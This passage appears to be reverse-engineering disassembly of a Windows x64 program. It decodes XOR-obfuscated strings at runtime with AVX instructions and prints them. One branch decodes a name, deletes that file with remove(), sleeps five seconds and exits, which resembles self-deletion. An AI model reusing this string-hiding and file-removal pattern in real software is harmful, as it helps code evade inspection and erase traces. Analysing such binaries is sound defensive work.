mov qword [rbp + 0x118], rcx
movups xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp], xmm0
movups xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x30], xmm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rdx, [rbp]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.140003110
lea rdx, [0x1400032e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], r12
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x108], rbx
mov qword [rbp + 0x80], r15
movabs rax, 0xa1cf84a68a630891
mov qword [rbp + 0x88], rax
movabs rax, 0x2c23d7769ed7bade
mov qword [rbp + 0x90], rax
movabs rax, 0x265b9b6d1ec24d08
mov qword [rbp + 0x98], rax
movabs rax, 0x23f09daf4a33adb5
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rbx
movups xmm0, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0x1d0], xmm1
movups xmm2, xmmword [rbp + 0xa0]
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vxorps xmm2, xmm2, xmmword [rbp + 0x100]
vmovdqa xmmword [rbp + 0x1e0], xmm2
lea rcx, [rbp + 0x1c0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp + 0x160], r14
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], rdi
movabs rax, 0x23f09daf4a33c1d9
mov qword [rbp + 0x180], rax
movabs rcx, 0x7408165afc8b0e8a
mov qword [rbp + 0x188], rcx
movabs rax, 0xb1bd17b5095dbf4e
mov qword [rbp + 0xe0], rax
movabs rax, 0xbac2c1a1bd1f1f83
mov qword [rbp + 0xe8], rax
movabs rax, 0x643bd773d490b0d6
mov qword [rbp + 0xf0], rax
movabs rax, 0x7d01cc7a1bd80c0a
mov qword [rbp + 0xf8], rax
movabs rax, 0x23f09ddc3340efbc
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rcx
movups xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x1d0], xmm1
movups xmm2, xmmword [rbp + 0x100]
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vxorps xmm2, xmm2, xmmword [rbp + 0x180]
vmovdqa xmmword [rbp + 0x1e0], xmm2
lea rdx, [rbp + 0x1c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.140003110
lea rdx, [0x1400032e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140002fac
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002fa7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400210ac
movdqa xmm0, xmmword [0x14002c570]
movdqu xmmword [rbp + 0x68], xmm0
mov byte [rbp + 0x58], 0
cmp r15, 0x10
jb 0x140002949
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002941
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002941
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400011d0
int3
call fcn.140001130
int3